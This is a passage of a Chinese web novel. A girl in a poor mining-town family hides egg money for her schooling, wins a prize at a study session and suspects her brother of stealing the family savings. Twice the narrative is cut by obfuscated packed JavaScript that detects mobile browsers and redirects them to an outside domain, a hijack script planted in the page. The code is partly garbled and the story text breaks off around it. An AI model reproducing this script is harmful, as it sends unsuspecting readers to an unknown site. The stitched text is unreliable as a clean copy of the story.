包兰芝这才抬起头,拿过笔记本翻了翻,又摸了摸铅笔,脸上没什么表情:“还行,这笔记本挺厚,以后给你弟当练习本正好。” 说着,就把笔记本收进了炕头的木箱子里,铅笔随手放在了桌上。 南雁心里有点不是滋味,可也没反对——至少包兰芝没扔了它们,还愿意留着给小弟用,说明她多少认可了这“奖励”的价值。 * 可没等南雁高兴多久,新的麻烦就来了。 这天晚上,包兰芝数鸡窝时,突然嚷嚷起来:“不对啊!这鸡咋下蛋越来越少了?前阵子还三天两个,这阵子咋五天才三个?是不是你偷了?” 南雁手里的作业本差点掉在地上,心跳得飞快,像要从嗓子眼里蹦出来。 她藏的三个鸡蛋,正是这阵子攒的,每天一个,刚好五天。 包兰芝果然察觉到了,她最在意这些鸡下的蛋,那是家里为数不多的“活钱”。 “没……没有啊。”南雁尽量让声音平静,“可能是天太冷了,鸡下蛋不规律。” “天冷?天冷别的家的鸡咋还下蛋?”包兰芝不依不饶,走到南雁面前,居高临下地盯着她的眼睛,像要看出点啥来,“是不是你偷了拿去卖了?我告诉你,你要是敢动卖鸡蛋的钱,看我不打断你的腿!” 南雁后背都惊出了汗,脑子里飞快地转着,前几天听张婶说,她家鸡窝被老鼠叼过鸡蛋,还损失了两个,当时包兰芝还跟着骂了老鼠几句。 她赶紧说:“张婶说,她家鸡窝被老鼠叼过鸡蛋,咱们家是不是也有老鼠啊?我昨天喂鸡的时候,好像看见鸡窝里有老鼠屎。” 包兰芝愣了愣,显然没料到这个说法。 她皱着眉头,走到鸡窝边,蹲下来看了看,又伸手摸了摸鸡窝底下的稻草,嘴里嘟囔着:“真有老鼠?那可不行,得找个老鼠夹子!不然这些鸡下的蛋,都得被老鼠叼走!” 说着,就转身去找老鼠夹子了,没再追问南雁。 南雁松了口气,手心却全是汗。 她知道,这只是暂时的,包兰芝要是再发现鸡蛋少,肯定还会怀疑她。得赶紧把鸡蛋卖掉,换成钱藏起来。 钱比鸡蛋更隐蔽,也更有用,能买纸笔,还能攒着当将来读书的学费。 她想到了刘小萍。 刘小萍性格泼辣,胆子大,经常在外面野,认识的人多,连矿区小卖部的老板都跟她熟。 而且她家条件稍好,父母对她管束相对宽松,不像包兰芝这样斤斤计较。说不定,刘小萍能帮她把鸡蛋卖掉。 7. 小小的进步(修) 第二天清晨,矿区的雾还没散,南雁揣着心事,故意磨磨蹭蹭收拾书包,等刘小萍扎着羊角辫、踩着布鞋“噔噔”跑过,才快步追上去。 两人并肩走在坑洼的土路上,路边的野草沾着露水,打湿了裤脚。直到拐进一条窄巷,南雁才突然拽住刘小萍的胳膊,把人拉到墙根后。 “小萍,我想请你帮个忙。”她压低声音,像怕被雾里的什么东西听去,她飞快地扫了眼巷口,确定没人,才松开攥着对方袖子的手,掌心已经沁出了汗。 “啥事?你说!”刘小萍拍着胸脯,羊角辫随着动作晃了晃,眼里满是“讲义气”的痛快劲儿。 她打小就是这性子,矿区的孩子早当家,却唯独见不得朋友犯难。 去年南雁被南天贵抢了窝头,还是她揣着偷藏的烤红薯,在煤堆后分给南雁半块。 南雁飞快地从书包最底层掏出个蓝布小包袱,指尖捏着包袱角,小心翼翼地展开。 三个白生生的鸡蛋显出来,蛋壳泛着新鲜的光泽。 “你能不能帮我问问,有没有人想买鸡蛋?刚从鸡窝里掏出来的,还热乎着呢,保证新鲜。” 刘小萍的眼睛“唰”地瞪圆了,嘴张得能塞进个鸡蛋:“雁子!你哪儿来的鸡蛋?你妈要是知道你敢私藏这个,不得扒了你的皮!” 这话不是夸张。 矿区人家的鸡蛋金贵得能当硬通货,要么留着给男娃补身子——南天贵每天早上都能喝到蛋花汤,要么攒着换盐巴和针线,哪有姑娘家敢私自拿出来卖的? 包兰芝的脾气在矿区是出了名的爆,上个月南秀打碎一个鸡蛋,被她拿着鸡毛掸子追着打了半条街。 “别让她知道。我攒了仨,想换点钱买作业本,老师说下学期要写的作业多,我那本都快翻烂了。偷偷的,卖了钱,我分你……分你一分钱一个,行不?” 这是她能给出的最大诱惑了,一分钱可以买一小撮瓜子或者一颗水果糖。 刘小萍盯着那三个鸡蛋,又看看南雁眼底的坚决,手指无意识地绞着衣角。 她知道这事风险大,真要是露了馅,南雁少不了一顿揍,她也得跟着挨骂。 可一想到一分钱能换的甜,还有帮朋友的痛快,对零花钱的渴望终究压过了顾虑。 她猛地一点头:“成!我帮你问!矿东头王婶家儿媳妇坐月子,前几天还跟我妈念叨缺鸡蛋呢,我明天一早就去探探口风!” 第三天傍晚,刘小萍一放学就拽着南雁往巷子里跑,脸上带着藏不住的兴奋:“成了!王婶愿意买!按市价,一个鸡蛋五分钱!她说让我明天把鸡蛋捎过去,钱我给你带回来!” 说着,她又突然严肃起来,伸手抓住南雁的手腕,“不过你可得小心!鸡蛋要是破了,或者让你妈发现了,可别连累我!” 南雁连忙点头,心里的石头落了地,连脸上都透着点松快。 她从书包里摸出一个用棉花裹得严实的鸡蛋,小心翼翼地递给刘小萍:“你放心,我都包好了,肯定不会破。” 从那以后,南雁的“地下交易”就悄悄开始了。 她不敢一次拿太多,每次只揣一两个鸡蛋,用旧棉花裹了一层又一层,藏在书包最底层。 刘小萍成了固定中间人,每次把皱巴巴的毛票和分币塞给她时,两人都得找个没人的角落,跟做贼似的飞快交接。 那些钱被南雁藏在床板下的小铁盒里,铁盒是她捡的罐头盒,洗干净后用钉子钻了个小孔,每个硬币放进去时都带着体温,浸透着她的谨慎。 日子在紧张的学习、繁重的家务和隐秘的“创业”中悄然流逝。 南雁像一株石缝里的小草,顽强地汲取着一切可能的养分,努力向上生长。 上课的时候,她总是坐得笔直,眼睛盯着黑板,生怕漏掉一个字;下课别的孩子都出去疯玩,她就趴在桌上写作业,或者背课文;晚上,等全家人都睡了,她就借着昏暗的灯光,看《新华字典》,把不认识的字记在废纸上,第二天一早就跑去问李老师。 李老师越来越喜欢这个刻苦的姑娘,经常在课堂上表扬她,还把自己用过的旧课本借给她:“南雁,你这么努力,将来肯定能考上初中,甚至高中。别担心家里,有困难跟老师说。” 南雁点点头,眼睛有点红。 长这么大,除了女儿小安,很少有人这么关心她。 她知道,李老师是真心为她好,她不能辜负这份期望。 可家里的矛盾,从来不会因为她的退让而消失。 这天下午,南天贵的篮球比赛输了——矿区子弟队跟邻矿的队比,他作为主力后卫,最后一个球没投进,一进门就把球衣往地上一摔,球衣上还沾着汗和土,摔在地上发出“啪”的一声响。 他看见南雁坐在缝纫机前看书,火气顿时就撒了过来:“看什么看!一天到晚就知道装模作样看书,家里的活看不见?我比赛输了,都是因为你没把我队服洗干净!” 南雁抬起头,眼神冷冷的,没有丝毫退让:“队服我用肥皂搓了三遍,水都清了,是你自己没发挥好。” “你还敢顶嘴!”南天贵恼羞成怒,他本就因为输了比赛窝着火,被南雁一反驳,更是气不打一处来,伸手就要抢南雁的书。 那本书是李老师借的,南雁赶紧把书抱在怀里,往后退了一步,后背撞到了缝纫机,发出“哐当”一声响。 包兰芝从外面走进来,手里拎着刚买的盐巴,看见两人吵架,不分青红皂白就骂南雁:“你个死丫头!你哥比赛输了心里不痛快,你还惹他生气?书能当饭吃?能帮你哥娶媳妇?赶紧给你哥道歉!” 南雁咬着嘴唇,没说话。 她知道,跟包兰芝讲道理没用,跟蛮横的南天贵更是没用,他只会仗着妈疼他,变本加厉。 她只是紧紧抱着书,眼神倔强。这是她能抓住的唯一向上的梯子,谁也不能抢。 南天贵见包兰芝帮自己,也没再动手,只是冷哼一声,转身进了里屋,临走前还踢了一脚旁边的板凳,板凳腿在地上划出刺耳的声响。 包兰芝还在骂:“一天到晚就知道读书,将来要是读不出个名堂,看我怎么收拾你!不如早点找个好人家,换点彩礼给你哥娶媳妇,也算是你为家里做了贡献!” 南雁没理她,走到缝纫机前,继续看书。 窗外的天渐渐黑了,矿区的灯光一盏盏亮起来,昏黄的光透过窗户,落在书页上。 她知道,这条路很难走,家里的阻力,贫穷的困扰,还有这个年代的偏见,都像一座座大山压在她身上。 可她不能放弃——她已经死过一次了,这一次,她要为自己活。 * 过了几天,矿上贴出通知,要举办“职工家属学习会”,说是让家属学文化,学得好的有奖励:一块上海牌肥皂和一包洗衣粉。 包兰芝本来不想去,她觉得学文化没用,还不如在家喂猪,可一听有奖励,眼睛顿时亮了:“一块上海牌肥皂呢!能洗不少衣服!比咱们平时用的粗肥皂好用多了!雁子,你跟我一起去,你帮我记笔记,你识字多,要是得了奖励,肥皂归我,洗衣粉也归我!” 南雁心里一动,她知道,学习会肯定会讲一些基础的文化知识,说不定还能学到新的字,甚至能见到矿上的文书——听说文书是高中生,肚子里有学问。她点了点头:“行,我跟你去。” 学习会在矿上的大礼堂举行,礼堂是用旧仓库改的,屋顶漏过雨,墙壁上还留着水渍,却挤满了人,大多是矿区的家属,一个个手里拿着小本子,眼神里都带着对奖励的渴望。 老师是矿上办公室的文书,一个戴眼镜的年轻人,穿着洗得发白的中山装,说话很温和。 他讲的是基础的识字和算术,从“人、口、手”讲到“工、农、兵”,从十以内的加减法讲到乘法口诀。 南雁听得很认真,手里的笔飞快地记着,她的本子是用废报表订的,字却写得格外工整。 包兰芝小时候上过两年私塾,能认几个字,也能算简单的账,可稍微复杂点的就不行了,比如文书讲的“乘法口诀”,她听得一头雾水,只能靠南雁在旁边小声解释。 中间休息的时候,孙婶走了过来,看见南雁在记笔记,酸溜溜地说:“哟,雁丫头还会写字呢?真是了不起!不过话说回来,丫头片子读书再好有啥用?将来还不是得嫁人?洗衣做饭带孩子,不如早点找个好人家,换点彩礼实在,也能帮衬你哥娶媳妇。” 周围的几个家属都笑了,眼神里带着附和。 南雁抬起头,看着孙婶,平静地说:“孙婶,李老师说,现在都兴男女平等,女孩子也能读书,也能有出息。再说,我要是能读好书,将来能挣大钱,比彩礼更实在——到时候我能给家里买新衣裳,能给妈买上海牌肥皂,还能给哥攒彩礼,不比嫁出去强? 孙婶愣了一下,没料到这平时闷不吭声的丫头敢跟自己顶嘴,一时语塞,脸上的笑容僵住了。 周围的笑声也停了,有人偷偷点头,觉得南雁说得有道理。 包兰芝这时候走过来,大概觉得南雁的话给自己长了面子,连忙帮腔:“就是!我家雁子要是真能读出名堂,将来挣大钱,我脸上也有光!到时候我天天用上海牌肥皂洗衣服,让你们都羡慕!” 孙婶撇了撇嘴,没再说话,转身走了,走的时候还故意撞了一下南雁的胳膊,南雁手里的笔差点掉在地上。 南雁:“?” 瞧这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458129|185383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小心眼子! 学习会结束后,文书拿着笔记一本本看,最后把奖励给了南雁和包兰芝——南雁记的笔记最认真,字写得工整,重点也标得清楚。 包兰芝拿着那块上海牌肥皂和一包洗衣粉,笑得合不拢嘴,逢人就说:“还是我家雁子有用!要不是她,我哪能得奖励!” 南雁看着包兰芝的笑容,心里有点复杂。 她知道,包兰芝还是看重奖励,可至少,她开始认可自己的“有用”了。 这是一个小小的进步,也是她抗争路上的一小步。 回到家,南雁把笔记拿出来,想再复习一遍——文书讲的乘法口诀,她还没完全背熟。 包兰芝突然走过来说:“雁子,你要是真能考上初中,我就跟你爸说,让你继续读。” 南雁心里一震,猛地抬起头,以为自己听错了。 “你看啥?”包兰芝有点不自在,手不自觉地摸着衣角,脸上泛起一点红,“我是觉得,你要是真能读出个名堂,将来能帮衬你哥娶媳妇,也能帮衬家里。要是读不出来,到时候再说别的——反正你也得给家里做贡献。” 南雁点点头,声音有点沙哑:“妈,我会努力的。” 她知道,这承诺带着条件,可已经是她能争取到的最好结果了。 她紧紧握着手里的笔记,心里充满了希望。 总有一天,她能走出这片矿区,不是靠男人,而是靠自己,走到有更亮灯光的地方。 窗外,矿区的夜晚很安静,只有偶尔传来的火车鸣笛声,还有远处矿井口的灯光,像一颗颗明亮的星星,映在她眼底。 * 转眼到了暑假。 矿区的夏天闷热难当,知了在树上声嘶力竭地鸣叫,阳光把土路晒得发烫,踩上去能烫掉鞋底。 对于孩子们来说,暑假意味着疯玩。 但对于南雁,却意味着更多的家务和看守弟弟妹妹的任务。 包兰芝决定利用暑假,带南天贵回老家一趟,说是走亲戚,实则是想让南天贵提前相看老家一个姑娘。 那姑娘是包兰芝远房侄女,家里有两亩地,据说人很勤快,包兰芝早就想让两人先见个面,要是合适,就定下来,也好早点给南天贵攒彩礼。 南秉义要上班,矿上夏天活儿多,经常加班,照顾南峰、南秀、南玉、南春四个弟妹的担子,自然落在了南雁身上。 包兰芝临走前,把一堆活计扔给南雁:做饭、洗衣、喂猪、喂鸡、看孩子,一样不能落下。 她还特意警告南雁,手里拿着鸡毛掸子,眼神严厉:“把家给我看好了!要是弟弟妹妹磕着碰着,或者家里少了什么东西,我回来扒了你的皮!还有,别想着偷偷读书,家里的活干完了再说!” 南雁默默地听着,没有反驳。 包兰芝和南天贵一走,家里顿时乱了套。 南峰才四岁,正是调皮的年纪,上蹿下跳,一会儿爬到树上掏鸟窝,一会儿又拿着木棍追鸡,鸡飞狗跳的。 南秀七岁,性子内向,却总爱偷偷哭,一点小事就红眼睛,昨天因为找不到自己的花手帕,哭了半个钟头。 南玉六岁,南春五岁,两个像魔童降世一般,一饿就闹,一困就哭,尤其是南春,晚上还得南雁抱着哄才能睡着。 南雁拿出了浑身的耐心,她先给弟妹们分工:南秀年纪大一点,帮忙摘菜、洗菜,要是洗得干净,就给她讲一段《西游记》的故事——那是她从李老师那听来的。 南玉负责扫地,虽然扫不干净,但也能扫走一些浮尘;南春年纪最小,负责看着弟弟南峰别乱跑,只要乖乖坐在门口,就给她一块烤红薯干。 她用有限的食材变着花样做饭。 家里的玉米面不多了,她就掺上红薯,蒸红薯窝头,还把红薯切成条,放在灶台上烤,烤得香甜软糯,弟妹们都爱吃。 菜不多,她就去院子里摘点青菜,煮汤的时候放一点,虽然清淡,但也能下饭。 每天早上,她天不亮就起床,先喂猪喂鸡,再给弟妹们做早饭;中午趁着太阳大,把家里的衣服洗了,晾在院子里;晚上等弟妹们睡了,她再借着煤油灯的光,把第二天要做的活计列出来,记在小本子上。 几天下来,家里虽然谈不上窗明几净,但也算秩序井然。 南峰不再爬树掏鸟窝了,因为南雁跟他说,树上有虫子,会咬人的;南秀也不偷偷哭了,因为南雁每天都会给她讲一段故事;南玉和南春也乖了不少,知道饿了要等姐姐做饭,困了要找姐姐哄。 连偶尔过来串门的张婶都惊讶地说:“雁子可真能干,这么小就能当起一个家了!比我家那小子强多了,我家那小子都十岁了,还只会跟我要钱买糖吃!” 8. 天打雷劈的贼 半个月后,包兰芝和南天贵终于从老家回来了。 南天贵率先走进院子里,深蓝色的工装裤沾着泥点,嘴角耷拉得能挂住两斤油,连看都没看迎上来的弟妹们,径直往屋里闯,路过南雁身边时,还故意撞了她胳膊肘一下。 那力道不轻,南雁手里的鸡食撒了一地,她没敢吭声,只默默蹲下去捡。 她早摸清了这位“宝贝儿子”的脾气,老家的姑娘没一个入他眼,这股邪火,总得找地方撒。 包兰芝跟在后面,裹着件洗得发白的花棉袄,一进门就没顾上拍身上的灰,那双精明的眼珠子跟探照灯似的,屋里屋外扫了一圈。 猪没掉膘,鸡没少蛋,几个小的也没饿出尖下巴,非但如此,屋里屋外竟比他们走时还齐整几分。 她的目光最终钉在南雁身上。 这丫头黑瘦得脱了形,胳膊腿细得像麻秆,风一吹就能折,唯独那双眼睛亮得瘆人,像淬了火的钉子,死死钉在这破烂日子里,不肯认输。 包兰芝张了张嘴,那句习惯性的挑剔在舌尖滚了几滚,硬是没找着落脚的地儿,最后只从鼻腔里挤出一声含糊的冷哼:“还行,家没给你败光。” 南雁垂着眼,声音低顺:“妈,路上辛苦了,我去烧点热水。” 她心里的巨石终于落地——这半个月的苦没白受,她不仅证明了家里离不得她,还让向来挑剔的包兰芝认了她的能耐。 在这个重男轻女的家里,这点卑微的价值,就是她能继续读书的底气。 * 暑假快收尾时,南雁揣着那个蓝布包,手心攥得全是汗。 布包里是她攒了几个月的鸡蛋钱——总共七毛二,加上期末考试进步,李老师奖的那本红色封面笔记本。 她没舍得用那笔记本,特意拿去供销社,跟柜台的阿姨好说歹说,才换回一本最便宜的《成语小词典》。 那本子薄薄的,纸页泛黄,还带着股淡淡的油墨香,南雁把它贴在胸口,只觉得心里像灌了蜜,甜得发涨。 这不是谁施舍的,是她靠自己挣来的,是真正属于她的东西。 她小心翼翼地用旧挂历纸包了书皮,藏进只有自己知道的角落,像藏起一颗火种。 新学期,南雁升了四年级。 她像块干裂的海绵,拼命吮吸着知识的汁水,成绩稳扎稳打往上爬,已是班里拔尖的苗子。 班主任李老师越来越看重这个闷不吭声,但眼里有光的丫头,有时让她去帮那些榆木疙瘩开窍。 有次讲完题,李老师悄悄塞给她半块橡皮:“拿着,下次擦错题用,别总用手指头蹭。” 南雁攥着那块带着余温的橡皮,鼻子一酸,差点掉眼泪。 不知不觉间,南雁在班上不再是那个可以随便踩一脚的“小透明”了。 可树欲静,风不止。 一场风波裹着秋风,猝不及防地砸了过来。 这天下午,南雁放学回来,刚走到家门口那棵歪脖子老槐树下,就听见屋里传来包兰芝尖利的哭骂声,跟杀猪似的,还夹杂着南秉义沉闷的咆哮,以及搪瓷缸子摔在地上的脆响。 她心里一紧,小跑着推开木门。 屋里一片狼藉。 凳子四仰八叉,喝水的搪瓷缸子摔在地上,瘪了一大块,瓷片崩得四处都是。 包兰芝直接瘫坐在地,双手拍打着地面,哭得撕心裂肺:“我的钱啊!我一分一分抠出来的血汗钱啊!哪个天打雷劈的贼偷了啊!你不得好死!” 南秉义脸色铁青,额上青筋暴跳,冲着包兰芝怒吼,唾沫星子横飞:“嚎什么丧!早跟你说过一百遍!存信用社!存起来!你偏不听!自作聪明藏那破炕洞里!现在好!毛都不剩!那是给天贵娶媳妇的钱!是全家多少年的底子!” 南雁脑子“嗡”的一声——钱丢了! 包兰芝藏在炕洞里的私房钱,全没了! 那笔钱她知道,是包兰芝从牙缝里省出来的,是给南天贵娶媳妇的指望,也是这个家的命根子。 她心口像被人塞进一块冰,直往下坠。 “谁干的?”南秉义的目光扫过屋里的孩子,南雁也跟着看过去。 南天贵靠在门框上,眼神躲躲闪闪,不敢看人;南峰吓得脸煞白,缩在门后;南秀低着头,用脚尖蹭着地面;南玉和南春站在一边,小嘴瘪着,快哭了。 一股不祥的预感缠上心头,南雁攥紧了衣角。 外贼怎么会知道钱藏在炕洞?那地方包兰芝藏得极隐秘,连南秉义都只知道个大概。 接下来两天,家里低气压得能憋死人。 包兰芝像被抽了魂,肿着眼泡,丢三落四,对南雁和几个小的非打即骂:“没用的赔钱货!家里遭了贼都不知道!白养你们了!” 有次南雁洗碗慢了点,她上去就推了南雁一把,南雁没站稳,摔在地上,膝盖磕得生疼,她没敢哭。 因为她知道,包兰芝这是把丢钱的火,撒在了她们身上。 南秉义阴着脸,一根接一根抽着呛人的烟卷,屋里乌烟瘴气。 他看谁都不顺眼,尤其看包兰芝,眼神里全是“早知如此”的怨气和鄙夷。 有次吃饭,包兰芝多盛了半碗糊糊,他直接把碗夺过来倒回锅里:“钱都丢了,还吃这么多!想把家吃垮?” 南雁更是大气都不敢喘,走路都踮着脚尖,连洗碗都轻手轻脚。 她知道,这个家现在就是个火药桶,一点火星就能炸。 更让她火烧火燎的是,钱丢了,家里必然更紧巴,包兰芝第一个要砍的,就是她这“白吃饭还费钱”的读书机会。 上次表妹来说亲,包兰芝那犹豫的眼神,她可记得清清楚楚。 可没等她琢磨出对策,一场针对她的危机先来了。 这天下午,南玉在屋里和南春疯跑打闹,“咚”的一声撞到南雁睡的破床床腿,床板一晃,一块松动的木板缝里,隐约露出个生锈铁盒的一角。 南玉好奇,蹲在地上抠了半天,把盒子抠了出来,摇了摇,里面传来“哗啦”的磕碰声。 她抱着盒子就往外跑,当着刚进门的南秉义和包兰芝的面嚷嚷:“妈!爸!大姐藏了个盒子!里面肯定有好东西!是不是她偷了钱藏起来的?” 这话像滴进滚油里的水,“轰”的一声炸了。 包兰芝正为丢钱心如刀绞,一听,眼珠子瞬间瞪圆,几步冲过来夺过盒子,厉声喝道:“南雁!你个死丫头!给老娘滚过来!说!这是啥?!你是不是偷了老娘的钱?!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458130|185383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 南秉义也皱紧眉头,目光锐利地射向从灶房出来的南雁。 他手里还拿着下井的矿灯,灯绳晃来晃去,在地上投下忽明忽暗的影子,更添了几分压迫感。 南雁的心跳漏了一拍,手心冒了汗,她强迫自己镇定。 她看着南玉那带着得意和报复的眼神,瞬间就明白了。 昨天南玉贪玩没看好南春,让南春摔在地上磕破了膝盖,她没忍住,打了南玉屁股一下。 果然,这丫头跟上辈子一个样,睚眦必报,逮着机会就想踩她一脚。 她走上前,语气平静:“妈,我没拿钱。盒子确实是我的。” “你的?你哪来的钱买盒子?里面装的啥?打开!”包兰芝声音尖厉,手指快戳到南雁鼻子上,唾沫星子喷了南雁一脸。 南雁接过盒子,打开搭扣。 里面没有钱,只有几截短得捏不住的铅笔头,旧了,但削得整齐,能看出主人的用心。 包兰芝一把抓过铅笔头,翻来覆去地看,像是要从上面找出钱的痕迹:“你弄个破盒子装这破烂干啥?说!是不是把钱藏别的地方了?” 南雁抬起头,直视着包兰芝的眼睛,那眼神里没有怯意,只有一种让人心头发酸的认真:“妈,这些铅笔头,是我从一年级用到现在的。每一截都用到实在捏不住才留下。我攒着,是想告诉自己,读书不容易,得珍惜。” 她顿了顿,声音轻得像羽毛,却带着千斤重的委屈,“看着它们,我就记得我还能念书的日子。要是哪天真不能念了,我就看看这些铅笔头,想想我曾经也读过书。” 南秉义看着那些铅笔头,突然沉默了。 他想起自己小时候,家里穷得连煤油灯都点不起,更别说读书了,只能跟着爹下井挖煤,后来十六岁就参了军。 那些铅笔头,在他眼里,突然就不是破烂了,是孩子想读书的念想。 他手里的烟袋锅子转了转,最终没说话。 包兰芝的疑心却没消,还在上下打量南雁,像是要从她身上搜出钱来。 南雁低着头,眼珠子飞快一转,突然转向南玉,声音陡然拔高,带着委屈和愤怒:“小玉!我知道你恨我昨天打你!可你不能因为这就红口白牙污蔑我偷钱!钱丢了,全家着急,你随便瞎说,往自己姐姐身上泼脏水?妈平时咋教的?要诚实!你这是诚心给家里添乱!是想让爸妈更生气吗?” 南玉被她一吼,慌了神,小嘴一瘪,“哇”地哭了:“我……我没有……我就是看见盒子了……我没说她偷钱……” 包兰芝见南玉哭了,盒子也确实只有铅笔头,南雁平时不像有零花钱,怀疑消了大半,烦躁地骂南玉:“哭什么哭!没事找事!滚一边去!再瞎说,看我不撕烂你的嘴!” 又瞪南雁,“把这些破烂收好!以后再神神叨叨的,看我不给你扔了!” 南雁的后背惊出一层冷汗,她知道,这关过了,可真正的麻烦还在后面。 她必须找出偷钱的人,否则下一次,她未必能这么幸运。 而且她也看清了南玉,年纪小,心思却不简单,还容易被人当枪使,以后得离这丫头远点。 突然,一个计划,在她心里慢慢成型。 家里依旧乌云压顶。 9. 藏哪了 包兰芝这几日的日子像是泡在苦水里的药渣,除了三顿凑活的饭,其余时间都黏在炕席上。 土坯炕被岁月啃得坑坑洼洼,她枯瘦的手指抠着裂缝,时不时长叹一声,那声音像漏风的风箱,把屋里最后一点活气都抽走了。 她总觉得钱没丢,是自己忘了藏在哪。 她突然坐起来,头发乱糟糟地贴在脸上,眼神发直,翻箱倒柜的动作带着一股狠劲。 木箱子里的旧衣服被扔得满地都是,腌菜坛子碰倒在地上,褐色的汤汁顺着砖缝渗进土里,她浑然不觉,只盯着箱底那几块松动的木板,像是要从里面盯出花来。 南秉义下井的时间越来越长,回来就闷头抽烟,话都懒得说。 第三天傍晚,南秉义又要去上夜班,刚走到门口,就看见南天贵鬼鬼祟祟地往院外溜。 少年穿着洗得发白的蓝布褂子,手插在裤兜里,脚步放得极轻,像是怕踩碎地上的影子。 “你去哪?”南秉义的声音突然响起。 南天贵吓得一哆嗦,转过身时脸上已经堆起笑:“爸,我去找同学玩……作业都写完了,就玩一小会儿。” 南秉义盯着他的裤兜,那地方鼓鼓囊囊的,像是塞了什么东西。 他皱了皱眉,刚要再问,包兰芝的骂声就从屋里传出来:“玩!就知道玩!家里都快揭不开锅了,你还有心思玩!” 南天贵趁机溜了,背影很快消失在暮色里。 南秉义望着那方向,烟蒂烫到了手指,他才猛地回神,把烟蒂扔在地上,用脚碾了碾,心里像压了块石头。 包兰芝在里屋炕上躺着,嘴里还在骂小偷,翻来覆去就那几句,从偷钱的贼骂到自己命苦。 南雁在灶台边烧热水,眼观六路,耳听八方。 她早觉得南天贵不对劲,这几天他虽然没敢跟包兰芝顶嘴,但总趁人不注意偷偷摸口袋,眼神也飘得很。 “大姐!” 南秀的声音突然从院外钻进来,带着股子野劲儿。 她手里攥着根狗尾巴草,草穗子扫着门框,人已经蹦到了灶台边:“我看见大哥了!” 南雁正往锅里舀水,闻言手顿了顿,侧脸看向南秀,嘴角噙着点若有若无的笑:“看见就看见了,他不是找同学玩去了吗?有什么好大惊小怪的。” “哪儿啊!”南秀往她跟前凑了凑,压低声音,神秘兮兮地说,“他在小卖部呢!陈叔正给他拿烟!红盒的那种,上面印着‘红梅’俩字!还买了包动物饼干,黄纸包的,画着小老虎,我都看见饼干渣了!” 水壶“咕嘟”响了一声,南雁伸手去提,指尖触到滚烫的壶壁,猛地缩回手,指腹上瞬间红了一片。 她没吭声,可心里那根紧绷的弦,“啪”地断了。 南天贵抽烟,从来都是捡南秉义的烟屁股,要么蹭矿上工友的,他哪来的钱买整包红梅? 更别说那动物饼干,一块就要五分钱,一大包至少要两块,只有过年过节,包兰芝才舍得给南天贵买一小块,小弟南峰连尝都尝不到。 前阵子南春发烧,烧得脸蛋通红,包兰芝宁愿抱着孩子去邻村找土方子,用灶灰泡水给孩子喝,都舍不得花五毛钱去矿上卫生所拿药。 在这刚丢“巨款”,风声鹤唳的家里,除了那笔钱,谁还能让他这么阔绰? 除非…… 南雁低头看了眼灶膛里的火,火苗舔着柴禾,把她的影子投在墙上,忽大忽小。 那个念头一旦冒出来,就像野草似的疯长——是南天贵,他偷了包兰芝的钱。 南雁手脚瞬间凉透了,她扶着灶台站稳,指尖还残留着水壶的烫意。 她太清楚包兰芝的性子了,对南天贵,她是含在嘴里怕化了,捧在手里怕摔了。 小时候南天贵把南春推到粪坑里,包兰芝也只是捏着他的耳朵骂了句“淘气”;后来他偷拿南秉义的酒钱去赌,包兰芝愣是攒了半个月鸡蛋,替他把窟窿填上了,连句重话都没说。 这次呢?偷了一百多块的“媳妇本”,包兰芝会怎么样? 南雁闭了闭眼,不敢想。 可她知道,不管包兰芝怎么处置南天贵,这亏空总得有人填。 到时候,包兰芝会盯着她的课本骂“赔钱货”,会拉着媒婆往她跟前凑,会把她的《成语小词典》扔进灶膛,就像当初烧掉南秀的画纸那样,眼都不眨。 不行!绝不能让南天贵逍遥法外!绝不能让脏水泼过来! 南雁深吸一口气,强迫自己冷静。 南秀的话是小孩话,包兰芝未必全信,就算信了,南天贵也能找借口搪塞过去,说烟是同学给的,饼干是捡的。 她得找到实打实的证据,让南天贵无法抵赖。 她飞快思索着,南天贵买了烟和饼干,不会一次消耗完,必定藏起来慢慢享受。 藏哪了?书包?床底?还是外面老巢? 南雁突然想起,南天贵常和几个狐朋狗友在矿区废料场后面的破棚子里厮混,那地方堆满了废弃的矿车零件,锈迹斑斑的铁板、断了的铁轨,平时少有人去,正是藏东西的好地方。 一想到这,南雁迅速拎起门口的泔水桶,快步走出家门:“妈,我去倒垃圾!” 路边的野草比人还高,刮得裤脚沙沙响,远处矿上的探照灯忽明忽暗,把影子拉得老长。 快到破棚子时,她听见里面传来嬉笑声,还有拆包装纸的窸窣声。 她躲在废弃的矿料后面,小心地探出头。 破棚子里,南天贵坐在一根锈迹斑斑的铁管上,手里夹着烟,烟雾缭绕中,他的脸上带着得意的笑,嘴角都快咧到耳根了。 旁边的男孩是矿口陈婶家的二柱,正拿着动物饼干往嘴里塞,饼干渣掉了一地,手里还攥着半盒没吃完的。 “天贵,你小子行啊!哪来的钱买这么好的烟和饼干?”二柱含糊地问,眼睛直勾勾地盯着南天贵手里的烟盒。 南天贵吸了口烟,吐出一个烟圈,下巴抬得老高:“少打听!反正哥们儿现在手头宽裕了!以后跟着我混,有我的就有你的!保准让你吃香的喝辣的!” “够意思!不过这钱是从你妈那偷的吧?这要让你妈知道了咋办?”二柱啃着饼干,声 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回到家,包兰芝还在里屋炕上躺着唉声叹气,手指在箱底摸索来摸索去,像是要把土炕抠出个洞。 南雁端了碗热水进去,放在炕边的小桌上:“妈,先喝点水吧,找累了,歇会儿再找。” 包兰芝没理她,连眼皮都没抬,手指还在箱底摸索。 